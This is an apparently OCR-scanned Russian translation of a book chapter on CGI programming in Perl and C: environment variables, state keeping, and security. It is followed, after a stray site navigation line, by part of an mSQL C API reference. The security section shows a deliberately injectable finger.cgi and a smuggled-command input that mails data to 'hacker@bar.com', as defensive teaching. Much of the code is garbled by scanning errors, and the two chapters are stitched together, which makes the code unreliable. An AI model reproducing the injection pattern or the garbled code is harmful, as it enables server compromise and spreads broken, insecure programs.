    Спецификация CGIЭти данные приводятся с прикидкой на сервер HTTP Apache. Apache - наиболее распространенный веб-сервер, работающий практически на любой платформе, включая Windows 9х и Windows NT. Однако они могут быть применимы ко всем HTTP-серверам, поддерживающим CGI. Некоторые патентованные серверы, например, от Microsoft и Netscape, могут иметь дополнительные функции или работать несколько иначе. Поскольку лицо Web продолжает изменяться с невероятной скоростью, стандарты все еще развиваются, и в будущем, несомненно, произойдут изменения. Однако, что касается CGI, то эта технология представляется устоявшейся - расплачиваться за это приходится тем, что другие технологии, такие как апплеты, ее потеснили. Все CGI-программы, которые вы напишете, используя эти сведения, почти наверное смогут работать еще долгие годы на большинстве веб-серверов.

    Когда CGI-программа вызывается посредством формы — наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI-программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI-программе через переменную окружения PATH_INFO (рис. 9-1). После информации пути следует символ "?", а за ним - данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI-программе через переменную окружения QUERY_STRING . Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI-программе через стандартное устройство ввода. Типичная строка, которую может получить сервер от броузера, показана на рис. 9-1. Программа с именем formread в каталоге cgi-bin вызывается сервером с дополнительной информацией пути extra/information и данными запроса choice=help - по-видимому, как часть исходного URL. Наконец, данные самой формы (текст "CGI programming" в поле "keywords") пересылаются через метод HTTP POST .


    Спецификация CGI

    Рис. 9-1. Части строки, переданной броузером серверу

    Переменные окружения

    Когда сервер выполняет CGI-программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше - с помощью описываемого ниже механизма, называемого HTTP_/nec/zams/n. CGI-программа

    имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки. В сценарии командного процессора, например, к переменной окружения F00 можно обращаться как $F00; в Perl это обращение выглядит, как $ENV{'F00'} ; в С - getenv("F00") ; и т. д. В таблице 9-1 перечислены переменные, которые всегда устанавливаются сервером - хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_F00 , где F00 - имя заголовка. Например, большинство веб-броузеров включает данные о версии в заголовок с именем USEfl_AGENT . Ваша CGI-npor-рамма может получить эти данные из переменной HTTP_USER_AGENT .

    Таблица 9-1. Переменные окружения CGI





    Переменная окружения



    Описание



    CONTENT_LENGTH



    Длина данных, переданных методами POST или PUT, в байтах.



    CONTENT_TYPE



    Тип MIME данных, присоединенных с помощью методов POST или PUT .



    GATEWAY_INTERFACE



    Номер версии спецификации CGI, поддерживаемой сервером.



    PATH_INFO



    Дополнительная информация пути, переданная клиентом. Например, для запроса http://www.myserver.eom/test.cgi/this/is/a/ path?field=green значением переменной РАТН_ INFO будет /this/is/a/path.



    PATH_TRANSLATED



    То же, что PATH_INFO , но сервер производит всю







    возможную трансляцию, например, расширение имен типа "-account". "



    QUERY_STRING



    Все данные, следующие за символом "?" в URL. Это также данные, передаваемые, когда REQ-UEST_METHOD формы есть GET.



    REMOTE_ADDR



    IP-адрес клиента, делающего запрос.



    REMOTE_HOST



    Имя узла машины клиента, если оно доступно.



    REMOTE_IDENT



    Если веб-сервер и клиент поддерживают идентификацию типа identd, то это имя пользователя учетной записи, которая делает запрос.



    REQUEST_METHOD



    Метод, используемый клиентом для запроса. Для CGI-программ, которые мы собираемся создавать, это обычно будет POST или GET.

    SERVER_NAME Имя узла - или IP-адрес, если имя недоступно, -машины, на которой выполняется веб-сервер.
    SERVER_PORT Номер порта, используемого веб-сервером.
    SERVER_PROTOCOL

    Протокол, используемый клиентом для связи с сервером. В нашем случае этот протокол почти всегда HTTP.
    SERVER_SOFTWARE Данные о версии веб-сервера, выполняющего CGI-программу.


    SCRIPT_NAME



    Путь к выполняемому сценарию, указанный клиентом. Может использоваться при ссылке URL на самого себя, и для того, чтобы сценарии, ссылки на которые существуют в разных местах, могли выполняться по-разному в зависимости от места.

    <


    Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, такие как PATH, установленные командным процессором, запустившим сервер.

    #!/usr/bin/perl -w

    print << HTML;

    Content-type: text/html\n\n



    <р>Переменные окружения

    HTML

    foreach (keys %ENV) { print "$_: $ENV{$_}
    \n"; }

    print <

    HTML

    Все эти переменные могут быть использованы и даже изменены вашей CGI-программой. Однако эти изменения не затрагивают веб-сервер, запустивший программу.

    Командная строка

    CGI допускает передачу CGI-программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа " = ", то CGI-программа будет выполняться с параметрами командной строки, взятыми из QUERY_STRING . Например, http://www.myserver.com/cgi-bin/finger?root запустит finger root на www.myserver.com.

    Есть две основные библиотеки, обеспечивающие CGI-интерфейс для Perl. Первая из них - cgi-lib.pl Утилита cgi-lib.pl очень распространена, поскольку в течение долгого времени была единственной имеющейся большой библиотекой. Она предназначена для работы в Perl 4, но работает и с Perl 5. Вторая библиотека, CGI.pm, более новая и во многом превосходит cgi-lib.pl. CGI.pm написана для Perl 5 и использует полностью объектно-ориентированную схему для работы с данными CGI. Модуль CGI.pm анализирует стандартное устройство ввода и переменную QUERY_STRING и сохраняет данные в объекте CGI. Ваша программа должна лишь создать новый объект CGI и использовать простые методы, такие как paramQ, для извлечения нужных вам данных. Пример 9-2 служит короткой демонстрацией того, как CGI.pm интерпретирует данные. Все примеры на Perl в этой главе будут использовать CGI.pm.


    Пример 9-2. Синтаксический анализ CGI-данных на Perl

    #!/usr/bin/perl -w

    use CGI qw(:standard);

    # Используется модуль CGI.pm. qw(:standard) импортирует

    # пространство имен стандартных CGI-функций,чтобы получить

    # более понятный код. Это можно делать, если в сценарии

    # используется только один объект CGI.

    $mycgi = new CGI; #Создать объект CGI, который будет 'шлюзом' к данным формы

    @fields = $mycgi->param; # Извлечь имена всех заполненных полей формы

    print header, start_html('CGI.pm test'); ft Методы 'header' и 'start_html',

    # предоставляемые

    # CGI.pm, упрощают получение HTML.

    # 'header' выводит требуемый заголовок HTTP, a

    #'start_html' выводит заголовок HTML с данным названием,

    #a также тег .

    print "<р>Данные формы:
    ";

    foreach (@fields) { print $_, ":",- $mycgi->param($_), "
    "; }

    # Для каждого поля вывести имя и значение, получаемое с помощью

    # $mycgi->param('fieldname').

    print end_html; # Сокращение для вывода завершающих тегов "".

    Обработка входных данных в С

    Поскольку основные API для MySQL и mSQL написаны на С, мы не будем полностью отказываться от С в пользу Perl, но там, где это уместно, приведем несколько примеров на С. Есть три широко используемые С-библиотеки для CGI-программирования: cgic Тома Бу-телла (Tom Boutell)*; cgihtml Юджина Кима (Eugene Kim)t и libcgi от EIT*. Мы полагаем, что cgic является наиболее полной и простой в использовании. В ней, однако, недостает возможности перечисления всех переменных формы, когда они не известны вам заранее. На самом деле, ее можно добавить путем простого патча, но это выходит за рамки данной главы. Поэтому в примере 9-3 мы используем библиотеку cgihtml, чтобы повторить на С приведенный выше сценарий Perl.

    Пример 9-3. Синтаксический анализ CGI-данных на С

    /* cgihtmltest.c - Типовая CGI-программа для вывода ключей и их значений

    из данных, полученных от формы */

    #include


    #include "cgi-lib.h" /* Здесь содержатся все определения функций СGI */

    #include "html-lib.h" /* Здесь содержатся' все определения вспомогательных функций для HTML */

    void print_all(llist 1)

    /* Эти функции выводят данные, переданные формой, в том же формате, что и приведенный выше сценарий Perl. Cgihtml предоставляет также встроенную функцию

    print_entries(), которая делает то же самое, используя формат списка HTML. */ {

    node* window;

    /* Тип 'node' определен в библиотеке cgihtml и ссылается на связанный список, в котором хранятся все данные формы. */

    window = I.head; /* Устанавливает указатель на начало данных формы */

    while (window != NULL) { /* Пройти по связанному списку до последнего (первого пустого) элемента */

    printf(" %s:%s
    \n",window->entry. name,replace_ltgt(window->entry.value));

    /* Вывести данные. Replace__ltgt() - функция, понимающая HTML-кодировку текста и обеспечивающая его правильный вывод на броузер клиента. */

    window = window->next; /* Перейти к следующему элементу списка. */

    } }

    int main() {

    llist entries; /* Указатель на проанализированные данные*/

    int status; /* Целое число, представляющее статус */

    html__header(); /* Вспомогательная функция HTML, выводящая заголовок HTML*/

    html_begin("cgihtml test");

    /* Вспомогательная функция HTML, выводящая начало страницы HTML с указанным заголовком. */

    status = read_cgi_input(&entries); /* Производит ввод и синтаксический анализ данных формы*/

    printf("<р>Данные формы:
    ");

    print_all(entries); /* Вызывает определенную выше функцию print_all(). */

    html_end(); /* Вспомогательная функция HTML, выводящая конец страницы HTML. */

    list_clear(&entries); /* Освобождает память, занятую данными формы. */

    return 0; }

    Стандартное устройство вывода

    Данные, посылаемые CGI-программой на стандартное устройство вывода, читаются веб-сервером и отправляются клиенту. Если имя сценария начинается с nph-, то данные посылаются прямо клиенту без вмешательства со стороны веб-сервера. В этом случае CGI-программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб-серверу сформировать HTTP-заголовок за вас.


    Даже если вы не используете nph-сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP-заголовок Content-Type , но может быть и заголовок Location . За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.

    Заголовок Content-Type сообщает серверу, какого типа данные выдает ваша CGI-программа. Если это страница HTML, то строка должна быть Content-Type: text/html. Заголовок Location сообщает серверу другой URL - или другой путь на том же сервере, - куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http:// www. myserver. com/another/place/.

    После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

    В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.



    Важные особенности сценариев CGI

    Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

    Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

    Запоминание состояния

    Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом "без памяти". Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

    Важные особенности сценариев CGI
    Рис. 9-2. Множественные запросы форм

    Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


    В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

    Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

    Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. "Официально" он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные "боковые ветви". Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.


    Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле "имя регистрации/пароль". Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

    Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

    Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.


    Пример 9-4. Сохранение состояния в сценарии CGI

    #!/usr/bin/perl -w

    use CGI;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    # Это файл, который будет выводиться, может быть любым.

    $output = new CGI;

    sub print_range { # Это главная функция программы, my $start = shift;

    # Начальная строка файла, my $count = 0;

    # Указатель, my $line = "";

    # Текущая строка файла, print $output->header,

    $output->start_html('Moй словарь');

    # Создает HTML с заголовком 'Мой словарь', print "\n";

    while (($count < $start) and ($line = )) { $count++; }

    # Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? ) ) { print $line; $count++; }

    # Напечатать очередные 10 строк.

    my $newnext = $start+10; my $newprev = $start-10;

    # Установить начальные строки для URL 'Next' и 'Previous',

    print "";

    unless ($start == 0) { # Включить URL 'Previous', если только вы

    # уже не в начале .

    print qq%Previous%; }

    unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

    print qq% Next%;

    }

    print "HTML; HTML

    exit(0); }

    # Если данных нет, начать сначала,

    if (not $output->param) {

    &print_range(0); }

    # Иначе начать со строки, указанной в данных.

    &print_range($output->param('start'));

    В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

    Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.


    Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

    - Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

    Пример 9-5. Устойчивое запоминание состояния

    #!/usr/bin/perl -w

    use CGI;

    umask 0;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    chdir("users") or die("He могу перейти в каталог $!");

    # Это каталог, где будут храниться все данные

    # о пользователе.

    Soutput = new CGI;

    if (not$output->param) {

    print $output->header,

    $output->start_html('Мой словарь');

    print "HTML;



    <р>Введите свое имя пользователя:





    HTML

    exit(0); }

    $user = $output->param('username');

    ## Если файла пользователя нет, создать его и установить

    ## начальное значение в '0',

    if ( not -e "$user" ) {

    open (U, ">$user") or die("He могу открыть! $!");


    print U "0\n";

    close U;

    &print_range('0');

    ## если пользователь существует и в URL не задано

    ## начальное значение, прочесть последнее значение и начать с него.

    } elsif ( not $output->param('start') ) {

    open(U,"Suser") or die("He могу открыть пользователя! $!");

    $start = ; close U;

    chomp $starl;

    uprint range($start);

    ## Если пользователь существует и в URL не указано

    ## начальное значение, записать начальное значение

    ## в файл пользователя и начать вывод.

    } else{

    open(U,">$user") or die("He могу открыть пользователя для записи! $!");

    print U $output->param('start'), "\n";

    close U;

    &print_range($output->param('start1)); }

    sub print_range {

    my $start = shift;

    my $count = 0;

    my $line = " "

    print $output->header,

    $output->start_html(' Мой словарь ');

    print "
    \n";

    while (($count < $start) and ($line = )) { $count++; }

    while (($count < $start+10) and ($line = ) )

    {

    print $line; $count++;

    }

    my $newnext = $start+10;

    my $newprev = $start-10;

    print "
    ";

    unless (Sstart == 0)

    {

    print

    qq%

    Previous
    %;

    }

    unless (eof) { print qq% Next%;

    # Заметьте, что имя пользователя 'username' добавлено к URL.

    # В противном случае CGI забудет, с каким пользователем имел дело.

    }

    print $output->end_html;

    exit(0');

    }

    Меры безопасности

    При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

    CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:


    #!/usr/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output"param('username');

    print $output->header, $output->start_html('Finger Output'),

    "
    ", 'finger $username', "
    ", $output->end_html;

    Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе "fred" на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com
    Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ ";" и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

    #!/usr/local/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output->param('username');

    $|++;

    # Отключить буферизацию с целью направления всех данных клиенту,

    print $output->header, $putput->start_html('Finger Output'), "
    \n";


    $pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

    # канал между родительским и дочерним процессами,

    if ($pid) {# Это родительский процесс.

    print ; ft Вывести выходные данные дочернего процесса.

    print "
    ", $output->end_html;

    exit(O); ft Завершить программу. }

    elsif (defined $pid) { # Это дочерний процесс.

    $|++; # Отключить буферизацию.

    ехес('/usr/bin/finger',$username) or die("exec() call failed.");

    # Выполняет программу finger с Susername в качестве одного единственного

    # аргумента командной строки. } else { die("неудачная попытка fork()"); }

    # Проверка ошибок.

    Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com
    Важные особенности сценариев CGIВ качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

    Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как "nobody", имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.


    Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как "nobody", только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

    Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

    Что еще можно почитать

    Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. "CGI Programming on the World Wide Web" издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.



    

        Базы данных: Разработка - Управление - Excel



  • . Эта функция полезна только вместе с веб-сервером Apache.



    MSQLCAPI

    API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

    Типы данных

    mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

    m_result

    Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

    m_row

    Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

    m_field

    Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

    int type

    Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

    int length

    Длина поля в байтах.
    int flags

    Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

    IS_PRI_KEY(flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле определено как NOT NULL.

    msqIConnect

    int msqIConnect ( char*host )

    Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

    Пример

    /* Создать подключение к серверу баз данных на локальном хосте*/

    dbh = msqlConnect( (char*)NULL );

    if (dbh == -1) {

    print " Ошибка при подключении!\n";

    exit(1); }

    msqISelectDB

    int msqISelectDB ( int sock , char*dbName )

    Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

    Пример

    /* Выбрать базу данных "mydatabase" */

    result = msqlSelectDB( dbh, "mydatabase" );

    if (result == -1) {

    print "Ошибка при выборе базы данных! \n";

    exit(1); }

    msqIQuery

    int msqlQuery( int sock , char*query )

    Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    msqIStoreResult

    m_result *msqlStoreResult()

    Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

    Пример

    m_result *results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    IK. 897

    /* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

    msqIFreeResult

    void msqIFreeResult ( m_result*result )

    Освобождает память, связанную со структурой m_result.

    Пример

    m_result "results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    /* Выполнить работу */

    msqIFreeResult(results);

    msqIFetchRow

    m_row msqIFetchRow ( m_result*result )

    Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.


    Пример

    m_result *results;

    m_row "row;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    printf("Третье поле первой записи в таблице: %s\n", row[2]);

    msqlDataSeek

    void msqlDataSeek ( m_result* result, int pos )

    Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

    Пример

    m_result *results;

    m_row Vow;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    /* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

    msqINumRows

    int msqINumRows ( m_result*result )

    Возвращает число строк в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult(); rows = msqlNumRows(results);

    msqIFetchField

    m_field "msqIFetchField ( m_result*result )

    Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

    Пример

    m_field *field;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о первом поле

    в результирующем наборе */

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о втором поле в том же наборе записей */

    msqlFieldSeek

    void msqlFieldSeek ( m_result*result , int pos )

    Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

    Пример

    m_result "results; m_field 'field;


    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* Вернутся к исходной позиции */

    msqlFieldSeek(results, .0);

    msqlNumFields

    int msqlNumFields ( m_result* result )

    Возвращает число полей в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    fields = msqlNumFields(results);

    msqICIose

    int msqICIose ( int sock )

    Закрывает подключение к серверу баз данных mSQL.

    Пример

    dbh = msqlConnect( (char')NULL );

    /* Do work */

    msqlClose(dbh);

    msqIListDBs

